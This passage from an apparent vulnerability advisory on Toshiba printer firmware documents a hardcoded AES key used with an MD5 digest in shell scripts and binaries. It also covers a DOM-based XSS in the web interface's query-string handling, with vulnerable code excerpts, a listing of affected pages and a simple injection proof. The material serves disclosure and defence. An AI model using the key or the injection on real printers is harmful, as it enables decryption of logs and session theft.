bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh
<font color=red>-rwxrwxrwx</font> 1 root root 115474 Nov  8  2021 /home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh
bash-4.1#
</pre>

<p>In this file, we can find several hardcoded keys and the insecure use of MD5 as a digest cipher (<code>-md md5</code>) to derivate the secret key: </p>
<p>Content of <code>/home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">1986</span> archiveLogECC<span style="color: #666666">()</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">2002</span>                 <span style="color: #008000; font-weight: bold">if</span> ! openssl enc -e -aes256 -in <span style="color: #19177C">$DIRPREFIX</span>/<span style="color: #19177C">$SERIAL_NUMBER</span><span style="color: #BA2121">&#39;_&#39;</span>USR<span style="color: #BA2121">&#39;_&#39;</span>DBGLOG.tar.gz -out <span style="color: #19177C">$DIRPREFIX</span>/<span style="color: #19177C">$SERIAL_NUMBER</span><span style="color: #BA2121">&#39;_&#39;</span>USR<span style="color: #BA2121">&#39;_&#39;</span>DBGLOG -k 1048toshibatec; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">2020</span>                 <span style="color: #008000; font-weight: bold">if</span> ! openssl enc -e -aes256 -in <span style="color: #19177C">$DIRPREFIX</span>/<span style="color: #19177C">$SERIAL_NUMBER</span><span style="color: #BA2121">&#39;_&#39;</span>USR<span style="color: #BA2121">&#39;_&#39;</span>SPLDATA.tar.gz -out <span style="color: #19177C">$DIRPREFIX</span>/<span style="color: #19177C">$SERIAL_NUMBER</span><span style="color: #BA2121">&#39;_&#39;</span>USR<span style="color: #BA2121">&#39;_&#39;</span>SPLDATA -k 1048toshibatec ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">2029</span> archiveLogEmail<span style="color: #666666">()</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">2056</span>                 <span style="color: #008000; font-weight: bold">if</span> ! openssl enc -e -aes256 -in <span style="color: #19177C">$DIRPREFIX</span>/<span style="color: #19177C">$SERIAL_NUMBER</span><span style="color: #BA2121">&#39;_&#39;</span>USR<span style="color: #BA2121">&#39;_&#39;</span>DBGLOG.tar.gz -out <span style="color: #19177C">$DIRPREFIX</span>/<span style="color: #19177C">$SERIAL_NUMBER</span><span style="color: #BA2121">&#39;_&#39;</span>USR<span style="color: #BA2121">&#39;_&#39;</span>DBGLOG -k 1048toshibatec ;<span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">2081</span>                 <span style="color: #008000; font-weight: bold">if</span> ! openssl enc -e -aes256 -in <span style="color: #19177C">$DIRPREFIX</span>/<span style="color: #19177C">$SERIAL_NUMBER</span><span style="color: #BA2121">&#39;_&#39;</span>USR<span style="color: #BA2121">&#39;_&#39;</span>SPLDATA.tar.gz -out <span style="color: #19177C">$DIRPREFIX</span>/<span style="color: #19177C">$SERIAL_NUMBER</span><span style="color: #BA2121">&#39;_&#39;</span>USR<span style="color: #BA2121">&#39;_&#39;</span>SPLDATA -k 1048toshibatec;<span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">2426</span>     <span style="color: #008000; font-weight: bold">if</span> ! openssl enc -e -aes256 -in <span style="color: #19177C">$ENCRYPTED_FILE</span><span style="color: #BA2121">&quot;.tar.gz&quot;</span> -out <span style="color: #19177C">$ENCRYPTED_FILE</span> -k 1048toshibatec -md md5; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
</pre></div>

<p>An attacker can decrypt the encrypted files using the hardcoded key.</p>
<p>The MD5 algorithm is insecure.</p>
<p><a id="harcoded-password-files"></a></p>
<h2>Details - Hardcoded password used to encrypt files</h2>
<p>It was observed that all the Toshiba printers have programs containing a hardcoded key used to encrypt files:</p>
<ul>
<li><code>/home/SYSROM_SRC/build/release/bin/alreportmanager</code></li>
<li><code>/home/SYSROM_SRC/build/release/bin/alusermgr</code></li>
</ul>
<p>These 2 programs use the hardcoded key <code>1048toshibatec</code> to generate files.</p>
<p>In the alreportmanager program, this key is used inside the <code>al::reporting::ReportGenerator::EncryptFile(std::string *a1, const char **a2, const char **a3)</code> method to encrypt files.</p>
<p>In the alusermgr program, this key is used in several methods to encrypt files. We can identify the references to his strings:</p>
<p><img alt="" src="images/2024-toshiba-xref-hardcoded-key-alusermgr.png" /></p>
<p>An attacker can decrypt the encrypted files using the hardcoded key.</p>
<p><a id="dom-xss"></a></p>
<h2>Details - DOM-based XSS present in the /js/TopAccessUtil.js file</h2>
<p>All the Toshiba printers provide a web interface that will load the <code>/js/TopAccessUtil.js</code> JavaScript file. This <code>/js/TopAccessUtil.js</code> JavaScript file contains insecure codes vulnerable to XSS and is loaded inside all the webpages provided by the printer:</p>
<p>Content of http://ip:8080/?MAIN=TOPACCESS:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #BC7A00">&lt;!DOCTYPE html&gt;</span>
&lt;<span style="color: #008000; font-weight: bold">html</span>&gt;
&lt;<span style="color: #008000; font-weight: bold">head</span>&gt;
&lt;<span style="color: #008000; font-weight: bold">meta</span> <span style="color: #7D9029">http-equiv</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;X-UA-Compatible&quot;</span> <span style="color: #7D9029">content</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;IE=Edge&quot;</span>&gt;
&lt;<span style="color: #008000; font-weight: bold">META</span> <span style="color: #7D9029">http-equiv</span><span style="color: #666666">=</span><span style="color: #BA2121">Content-Type</span> <span style="color: #7D9029">content</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;text/html; charset=windows-1252&quot;</span>&gt;
&lt;<span style="color: #008000; font-weight: bold">META</span> <span style="color: #7D9029">HTTP-EQUIV</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;cache-Control: private&quot;</span> <span style="color: #7D9029">CONTENT</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;NO-CACHE&quot;</span>&gt;
&lt;<span style="color: #008000; font-weight: bold">META</span> <span style="color: #7D9029">HTTP-EQUIV</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;PRAGMA&quot;</span> <span style="color: #7D9029">CONTENT</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;NO-CACHE&quot;</span>&gt;
    &lt;<span style="color: #008000; font-weight: bold">META</span> <span style="color: #7D9029">HTTP-EQUIV</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;Expires&quot;</span> <span style="color: #7D9029">CONTENT</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;1&quot;</span>&gt;
    &lt;<span style="color: #008000; font-weight: bold">link</span> <span style="color: #7D9029">rel</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;stylesheet&quot;</span> <span style="color: #7D9029">type</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;text/css&quot;</span> <span style="color: #7D9029">href</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;styles/style.css?v=1670278837ta&quot;</span>&gt;
    <span style="color: #408080; font-style: italic">&lt;!--&lt;title class=&quot;clsTitle1&quot;&gt;TopAccess&lt;/title&gt;--&gt;</span>
    &lt;<span style="color: #008000; font-weight: bold">script</span> <span style="color: #7D9029">language</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;javascript&quot;</span> <span style="color: #7D9029">type</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;text/javascript&quot;</span> <span style="color: #7D9029">src</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;/js/Cookies.js?v=1670278837ta&quot;</span>&gt;&lt;/<span style="color: #008000; font-weight: bold">script</span>&gt;
    &lt;<span style="color: #008000; font-weight: bold">script</span> <span style="color: #7D9029">language</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;javascript&quot;</span> <span style="color: #7D9029">type</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;text/javascript&quot;</span> <span style="color: #7D9029">src</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;/localization/Locale_languages_installed.js?v=1670278837ta&quot;</span>&gt;&lt;/<span style="color: #008000; font-weight: bold">script</span>&gt;
    &lt;<span style="color: #008000; font-weight: bold">script</span> <span style="color: #7D9029">language</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;javascript&quot;</span> <span style="color: #7D9029">type</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;text/javascript&quot;</span> <span style="color: #7D9029">src</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;/js/localization.js?v=1670278837ta&quot;</span>&gt;&lt;/<span style="color: #008000; font-weight: bold">script</span>&gt;
    &lt;<span style="color: #008000; font-weight: bold">SCRIPT</span> <span style="color: #7D9029">language</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;javascript&quot;</span> <span style="color: #7D9029">type</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;text/javascript&quot;</span> <span style="color: #7D9029">src</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;/js/AjaxReqRespHandler.js?v=1670278837ta&quot;</span>&gt;&lt;/<span style="color: #008000; font-weight: bold">SCRIPT</span>&gt;
    &lt;<span style="color: #008000; font-weight: bold">script</span> <span style="color: #7D9029">language</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;javascript&quot;</span> <span style="color: #7D9029">type</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;text/javascript&quot;</span>&gt;
    <span style="color: #008000; font-weight: bold">var</span> gblTopWindow;
    <span style="color: #008000; font-weight: bold">var</span> backspacePressed;
    <span style="color: #008000; font-weight: bold">var</span> subMenuLoaded <span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">false</span>;
    <span style="color: #008000; font-weight: bold">if</span>(location.href.indexOf(<span style="color: #BA2121">&quot;?MAIN=EFILING&quot;</span>) <span style="color: #666666">==</span> <span style="color: #666666">-1</span>){
        <span style="color: #008000">window</span>.opener <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">null</span>;
        gblTopWindow<span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">true</span>;
    }   
    &lt;/<span style="color: #008000; font-weight: bold">script</span>&gt;
    &lt;<span style="color: #008000; font-weight: bold">SCRIPT</span> <span style="color: #7D9029">language</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;javascript&quot;</span> <span style="color: #7D9029">type</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;text/javascript&quot;</span> <span style="color: #7D9029">src</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;/js/TopAccessUtil.js?v=1670278837ta&quot;</span>&gt;&lt;/<span style="color: #008000; font-weight: bold">SCRIPT</span>&gt;
    &lt;<span style="color: #008000; font-weight: bold">script</span> <span style="color: #7D9029">language</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;javascript&quot;</span> <span style="color: #7D9029">type</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;text/javascript&quot;</span>&gt;
</pre></div>

<p>The <code>/js/TopAccessUtil.js</code> file contains the vulnerable <code>getQueryStringValue()</code> function that will take arguments from the URL and will return them without any sanitization:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">565</span> <span style="color: #008000; font-weight: bold">function</span> getQueryStringValue(varname,locationType) {
 <span style="color: #666666">566</span>         <span style="color: #008000; font-weight: bold">try</span> {
 <span style="color: #666666">567</span>             <span style="color: #408080; font-style: italic">/* locationType is a param which has enumeration (&quot;parent&quot; &amp; &quot;self&quot; &amp; &quot;top&quot;)   */</span>
 <span style="color: #666666">568</span>             <span style="color: #008000; font-weight: bold">var</span> strloc <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;&quot;</span>;
 <span style="color: #666666">569</span>             <span style="color: #008000; font-weight: bold">if</span> (locationType <span style="color: #666666">==</span> <span style="color: #008000; font-weight: bold">null</span> <span style="color: #666666">||</span> locationType <span style="color: #666666">==</span> <span style="color: #BA2121">&quot;parent&quot;</span>){
 <span style="color: #666666">570</span>                 strloc <span style="color: #666666">=</span> parent.location.href;
 <span style="color: #666666">571</span>             }<span style="color: #008000; font-weight: bold">else</span> <span style="color: #008000; font-weight: bold">if</span> (locationType <span style="color: #666666">==</span> <span style="color: #BA2121">&quot;top&quot;</span>){
 <span style="color: #666666">572</span>                 strloc <span style="color: #666666">=</span> top.location.href;
 <span style="color: #666666">573</span>             }<span style="color: #008000; font-weight: bold">else</span> <span style="color: #008000; font-weight: bold">if</span> (locationType <span style="color: #666666">==</span> <span style="color: #BA2121">&quot;self&quot;</span>){
 <span style="color: #666666">574</span>                 strloc <span style="color: #666666">=</span> location.href;
 <span style="color: #666666">575</span>             }<span style="color: #008000; font-weight: bold">else</span> <span style="color: #008000; font-weight: bold">if</span> (locationType <span style="color: #666666">==</span> <span style="color: #BA2121">&quot;parent.parent&quot;</span>) {
 <span style="color: #666666">576</span>                 strloc <span style="color: #666666">=</span> parent.parent.location.href;
 <span style="color: #666666">577</span>             }
 <span style="color: #666666">578</span>             <span style="color: #008000; font-weight: bold">if</span>(strloc.indexOf(<span style="color: #BA2121">&quot;?&quot;</span>)<span style="color: #666666">==</span> <span style="color: #666666">-1</span> <span style="color: #666666">&amp;&amp;</span> strloc.indexOf(<span style="color: #BA2121">&quot;#&quot;</span>)<span style="color: #666666">==</span> <span style="color: #666666">-1</span>) {
 <span style="color: #666666">579</span>                 <span style="color: #408080; font-style: italic">//alert(&quot;Error: strVar is null in getQueryStringValue()&quot;)</span>
 <span style="color: #666666">580</span>             } <span style="color: #008000; font-weight: bold">else</span> {
 <span style="color: #666666">581</span>                 <span style="color: #008000; font-weight: bold">var</span> strVar <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;&quot;</span>;
 <span style="color: #666666">582</span>                 <span style="color: #008000; font-weight: bold">if</span>(strloc.indexOf(<span style="color: #BA2121">&quot;?&quot;</span>) <span style="color: #666666">!=</span> <span style="color: #666666">-1</span>)
 <span style="color: #666666">583</span>                     strVar <span style="color: #666666">=</span> strloc.split(<span style="color: #BA2121">&quot;?&quot;</span>);
 <span style="color: #666666">584</span>                 <span style="color: #008000; font-weight: bold">else</span>
 <span style="color: #666666">585</span>                     strVar <span style="color: #666666">=</span> strloc.split(<span style="color: #BA2121">&quot;#&quot;</span>);
 <span style="color: #666666">586</span>                 <span style="color: #008000; font-weight: bold">var</span> arrExpressions <span style="color: #666666">=</span> strVar[<span style="color: #666666">1</span>].split(<span style="color: #BA2121">&quot;&amp;&quot;</span>);
 <span style="color: #666666">587</span>                 <span style="color: #008000; font-weight: bold">if</span>(arrExpressions <span style="color: #666666">==</span> <span style="color: #008000; font-weight: bold">null</span>){
 <span style="color: #666666">588</span>                    <span style="color: #408080; font-style: italic">// alert(&quot;Error: arrExpressions is null in getQueryStringValue()&quot;)</span>
 <span style="color: #666666">589</span>                                 }
 <span style="color: #666666">590</span>                 <span style="color: #008000; font-weight: bold">var</span> arrVars <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">null</span>;
 <span style="color: #666666">591</span>                 <span style="color: #008000; font-weight: bold">for</span> (i<span style="color: #666666">=0</span>;i<span style="color: #666666">&lt;</span>arrExpressions.length;i<span style="color: #666666">++</span>) {
 <span style="color: #666666">592</span>                     arrVars <span style="color: #666666">=</span> arrExpressions[i].split(<span style="color: #BA2121">&quot;=&quot;</span>);
 <span style="color: #666666">593</span>                     <span style="color: #008000; font-weight: bold">if</span> (arrVars[<span style="color: #666666">0</span>] <span style="color: #666666">==</span> varname) {
 <span style="color: #666666">594</span>                         <span style="color: #408080; font-style: italic">//alert(&quot;inside getQueryStringValue fun&quot;+unescape(arrVars[1]));</span>
 <span style="color: #666666">595</span>                         <span style="color: #008000; font-weight: bold">return</span> unescape(arrVars[<span style="color: #666666">1</span>]);
 <span style="color: #666666">596</span>                     }
 <span style="color: #666666">597</span>                 }
 <span style="color: #666666">598</span>             }
 <span style="color: #666666">599</span>     
 <span style="color: #666666">600</span>             <span style="color: #008000; font-weight: bold">return</span> <span style="color: #BA2121">&quot;&quot;</span>;
 <span style="color: #666666">601</span>         } <span style="color: #008000; font-weight: bold">catch</span>(e){errHandler(e,<span style="color: #BA2121">&#39;getQueryStringValue()&#39;</span>,<span style="color: #BA2121">&#39;TopAccessUtil.js?v=1670278837ta&#39;</span>,<span style="color: #BA2121">&quot;&quot;</span>);<span style="color: #008000; font-weight: bold">return</span> <span style="color: #BA2121">&quot;&quot;</span>;}
 <span style="color: #666666">602</span>     }
</pre></div>

<p>For example, the webpage <code>/Administration/SystemUpdates/MoreUpdateDetails.html</code> uses the <code>getQueryStringValue()</code> function to display variables. Such variables can be controlled by an attacker to inject malicious JavaScript codes and steal the admin's session cookie:</p>
<p>Content of <code>/Administration/SystemUpdates/MoreUpdateDetails.html</code> with vulnerable codes on lines 46, 51 and 58:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> 31 &lt;<span style="color: #008000; font-weight: bold">FORM</span> <span style="color: #7D9029">NAME </span><span style="color: #666666">=</span> <span style="color: #BA2121">&quot;frmMoreUpdateDetails&quot;</span>&gt;
 32         &lt;<span style="color: #008000; font-weight: bold">TABLE</span> <span style="color: #7D9029">BORDER</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;0&quot;</span> <span style="color: #7D9029">cellspacing</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;6&quot;</span> <span style="color: #7D9029">cellpadding</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;0&quot;</span> <span style="color: #7D9029">width</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;100%&quot;</span>&gt;
 33                 &lt;<span style="color: #008000; font-weight: bold">TR</span> &gt;
 34                         &lt;<span style="color: #008000; font-weight: bold">TD</span> <span style="color: #7D9029">VALIGN</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;TOP&quot;</span> <span style="color: #7D9029">NOWRAP</span> <span style="color: #7D9029">colspan</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;2&quot;</span> <span style="color: #7D9029">style</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;FONT-WEIGHT: normal; FONT-SIZE: 16pt; COLOR: #6699FE; FONT-STYLE: normal; FONT-FAMILY: Arial, sans-serif; TEXT-DECORATION: none&quot;</span>&gt;
 35                                 &lt;<span style="color: #008000; font-weight: bold">script</span> <span style="color: #7D9029">type</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;text/javascript&quot;</span>&gt;<span style="color: #008000">document</span>.write(fnGetLocaleString(<span style="color: #BA2121">&quot;DUMMYRESID&quot;</span>,<span style="color: #BA2121">&quot;Update Details&quot;</span>));&lt;/<span style="color: #008000; font-weight: bold">script</span>&gt;
 36                         &lt;/<span style="color: #008000; font-weight: bold">TD</span>&gt;
 37                 &lt;/<span style="color: #008000; font-weight: bold">TR</span>&gt;
 38                 &lt;<span style="color: #008000; font-weight: bold">TR</span> &gt;
 39                         &lt;<span style="color: #008000; font-weight: bold">TD</span> <span style="color: #7D9029">VALIGN</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;TOP&quot;</span> <span style="color: #7D9029">NOWRAP</span> <span style="color: #7D9029">colspan</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;2&quot;</span>&gt;
 40                                 <span style="color: #999999; font-weight: bold">&amp;nbsp;</span>
 41                         &lt;/<span style="color: #008000; font-weight: bold">TD</span>&gt;
 42                 &lt;/<span style="color: #008000; font-weight: bold">TR</span>&gt;
 43                 &lt;<span style="color: #008000; font-weight: bold">TR</span>&gt;
 44                         &lt;<span style="color: #008000; font-weight: bold">TD</span> <span style="color: #7D9029">VALIGN</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;TOP&quot;</span> <span style="color: #7D9029">WIDTH </span><span style="color: #666666">=</span> <span style="color: #BA2121">&quot;30%&quot;</span> <span style="color: #7D9029">ALIGN</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;LEFT&quot;</span> <span style="color: #7D9029">style</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;FONT-SIZE:10pt;FONT-STYLE: normal; FONT-FAMILY: Arial, sans-serif;&quot;</span>&gt;
 45                                 &lt;<span style="color: #008000; font-weight: bold">B</span>&gt;&lt;<span style="color: #008000; font-weight: bold">script</span>&gt;
 <span style="color: #666666">46</span>                                         <span style="color: #008000">document</span>.write(getQueryStringValue(<span style="color: #BA2121">&quot;packageName&quot;</span>,<span style="color: #BA2121">&quot;self&quot;</span>));
 <span style="color: #666666">47</span>                                 &lt;/<span style="color: #008000; font-weight: bold">script</span>&gt;&lt;/<span style="color: #008000; font-weight: bold">B</span>&gt;
 48                         &lt;/<span style="color: #008000; font-weight: bold">TD</span>&gt;
 49                         &lt;<span style="color: #008000; font-weight: bold">TD</span> <span style="color: #7D9029">VALIGN</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;TOP&quot;</span> <span style="color: #7D9029">ALIGN</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;LEFT&quot;</span> <span style="color: #7D9029">style</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;FONT-SIZE:9pt;FONT-STYLE: normal; FONT-FAMILY: Arial, sans-serif;&quot;</span>&gt;
 50                                 &lt;<span style="color: #008000; font-weight: bold">B</span>&gt;&lt;<span style="color: #008000; font-weight: bold">script</span>&gt;
 <span style="color: #666666">51</span>                                         <span style="color: #008000">document</span>.write(getQueryStringValue(<span style="color: #BA2121">&quot;packageDate&quot;</span>,<span style="color: #BA2121">&quot;self&quot;</span>));
 <span style="color: #666666">52</span>                                 &lt;/<span style="color: #008000; font-weight: bold">script</span>&gt;&lt;/<span style="color: #008000; font-weight: bold">B</span>&gt;
 53                         &lt;/<span style="color: #008000; font-weight: bold">TD</span>&gt;
 54                 &lt;/<span style="color: #008000; font-weight: bold">TR</span>&gt;
 55                 &lt;<span style="color: #008000; font-weight: bold">TR</span> &gt;
 56                         &lt;<span style="color: #008000; font-weight: bold">TD</span> <span style="color: #7D9029">VALIGN</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;TOP&quot;</span> <span style="color: #7D9029">style</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;FONT-SIZE:10pt;FONT-STYLE: normal; FONT-FAMILY: Arial, sans-serif;&quot;</span> <span style="color: #7D9029">colspan</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;2&quot;</span>&gt;
 57                         &lt;<span style="color: #008000; font-weight: bold">script</span>&gt;
 <span style="color: #666666">58</span>                                 <span style="color: #008000">document</span>.write(<span style="color: #BA2121">&#39;&lt;textarea rows=&quot;13&quot; cols=&quot;47&quot;&gt;&#39;</span><span style="color: #666666">+</span><span style="color: #008000">window</span>.opener.getValue(getQueryStringValue(<span style="color: #BA2121">&quot;packageId&quot;</span>))<span style="color: #666666">+</span><span style="color: #BA2121">&#39;&lt;/textarea&gt;&#39;</span>);
 <span style="color: #666666">59</span>                         &lt;/<span style="color: #008000; font-weight: bold">script</span>&gt;
 60                         &lt;/<span style="color: #008000; font-weight: bold">TD</span>&gt;
 61                 &lt;/<span style="color: #008000; font-weight: bold">TR</span>&gt;
</pre></div>

<p>It is possible to inject HTML code and JavaScript code, as shown below with the <code>XMP</code> HTML tag that will be interpreted and disable any following code, using <code>?packageName=&lt;XMP&gt;</code> in the query string.</p>
<p><img alt="" src="images/2024-toshiba-xss.png" /></p>
<p><a href="images/2024-toshiba-xss-full.png">Click here for full image</a></p>
<p>It is possible to find such DOM-based XSS in the code base. There are at least 27 XSS in the HTML files provided by the printer:</p>
<pre><code>kali% rgrep getQueryStringValue .|grep write
./Administration/SystemUpdates/MoreUpdateDetails.html:                                  document.write(getQueryStringValue("packageName","self"));
./Administration/SystemUpdates/MoreUpdateDetails.html:                                  document.write(getQueryStringValue("packageDate","self"));
./Administration/SystemUpdates/MoreUpdateDetails.html:                          document.write('&lt;textarea rows="13" cols="47"&gt;'+window.opener.getValue(getQueryStringValue("packageId"))+'&lt;/textarea&gt;');
./Registration/Template/ScanToEFiling.html:                &lt;script type="text/javascript"&gt;document.write("&lt;INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&amp;tempImgId=8&amp;groupid=\"+getQueryStringValue(\"groupid\"))'&gt;");&lt;/script&gt;
./Registration/Template/ScanToUSB.html:                &lt;script type="text/javascript"&gt;document.write("&lt;INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&amp;tempImgId=15&amp;groupid=\"+getQueryStringValue(\"groupid\"))'&gt;");&lt;/script&gt;
./Registration/Template/ScanToEmailAndUSB.html:            &lt;script type="text/javascript"&gt;document.write("&lt;INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&amp;tempImgId=16&amp;groupid=\"+getQueryStringValue(\"groupid\"))'&gt;");&lt;/script&gt;
./Registration/Template/MetaScanToUSB.html:                &lt;script type="text/javascript"&gt;document.write("&lt;INPUT  type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&amp;tempImgId=21&amp;groupid='+getQueryStringValue('groupid'));&gt;");&lt;/script&gt;
./Registration/Template/FaxMode.html:                &lt;script type="text/javascript"&gt;document.write("&lt;INPUT  type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&amp;tempImgId=4&amp;groupid='+getQueryStringValue('groupid'));&gt;");&lt;/script&gt;
./Registration/Template/MetaScanToFile.html:                &lt;script type="text/javascript"&gt;document.write("&lt;INPUT  type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&amp;tempImgId=19&amp;groupid='+getQueryStringValue('groupid'));&gt;");&lt;/script&gt;
./Registration/Template/CopySaveAsFile.html:                &lt;script type="text/javascript"&gt;document.write("&lt;INPUT  type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&amp;tempImgId=2&amp;groupid='+getQueryStringValue('groupid'));&gt;");&lt;/script&gt;
./Registration/Template/ScanToEMail.html:            &lt;script type="text/javascript"&gt;document.write("&lt;INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&amp;tempImgId=7&amp;groupid=\"+getQueryStringValue(\"groupid\"))'&gt;");&lt;/script&gt;
./Registration/Template/ScanSettingList.html:        &lt;option value="High"&gt;&lt;script type="text/javascript"&gt;if(getQueryStringValue("DefaultVals","self")=="true"){document.write(fnGetLocaleString("100880","High"));} else {document.write(fnGetLocaleString("101095","Low"));}&lt;/script&gt;
./Registration/Template/ScanSettingList.html:        &lt;option value="Low"&gt;&lt;script type="text/javascript"&gt;if(getQueryStringValue("DefaultVals","self")=="true"){document.write(fnGetLocaleString("101095","Low"));} else {document.write(fnGetLocaleString("100880","High"));}&lt;/script&gt;
./Registration/Template/ScanSettingList.html:                    &lt;script type="text/javascript"&gt;document.write("&lt;INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&amp;tempImgId=\"+tempImgID+\"&amp;groupid=\"+getQueryStringValue(\"groupid\"))'&gt;");&lt;/script&gt;
./Registration/Template/CopyStoreToEFilling.html:                &lt;script type="text/javascript"&gt;document.write("&lt;INPUT  type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&amp;tempImgId=3&amp;groupid='+getQueryStringValue('groupid'));&gt;");&lt;/script&gt;
./Registration/Template/SmbFtpOther.html:                &lt;script type="text/javascript"&gt;document.write("&lt;INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&amp;tempImgId=22&amp;groupid=\"+getQueryStringValue(\"groupid\"))'&gt;");&lt;/script&gt;
./Registration/Template/MetaScanToEmail.html:            &lt;script type="text/javascript"&gt;document.write("&lt;INPUT  type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&amp;tempImgId=20&amp;groupid='+getQueryStringValue('groupid'));&gt;");&lt;/script&gt;
